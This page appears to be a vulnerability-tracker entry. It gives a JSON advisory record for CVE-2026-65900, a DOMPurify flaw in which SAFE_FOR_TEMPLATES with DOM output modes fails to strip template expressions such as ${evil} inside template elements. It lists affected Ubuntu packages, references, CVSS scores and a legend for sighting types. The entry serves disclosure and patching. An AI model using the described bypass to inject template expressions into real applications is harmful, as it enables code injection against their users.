DOMPurify versions >=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, <%evil%>) inside element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-dompurify",
"binary_version": "2.3.3+dfsg-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "node-dompurify",
"purl": "pkg:deb/ubuntu/node-dompurify@2.3.3+dfsg-1?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.3.0+dfsg-2",
"2.3.3+dfsg-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-dompurify",
"binary_version": "3.0.9+dfsg+~3.0.5-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "node-dompurify",
"purl": "pkg:deb/ubuntu/node-dompurify@3.0.9+dfsg+~3.0.5-1?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.4.1+dfsg+~2.4.0-1",
"3.0.9+dfsg+~3.0.5-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-dompurify",
"binary_version": "3.3.3+dfsg-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "node-dompurify",
"purl": "pkg:deb/ubuntu/node-dompurify@3.3.3+dfsg-1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.1.7+dfsg+~3.0.5-2",
"3.3.3+dfsg-1"
]
}
],
"aliases": [],
"details": "DOMPurify versions \u003e=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, \u003c%evil%\u003e) inside \u003ctemplate\u003e element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected.",
"id": "UBUNTU-CVE-2026-65900",
"modified": "2026-07-29T08:01:44Z",
"published": "2026-07-23T14:18:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-65900"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"type": "REPORT",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-65900"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.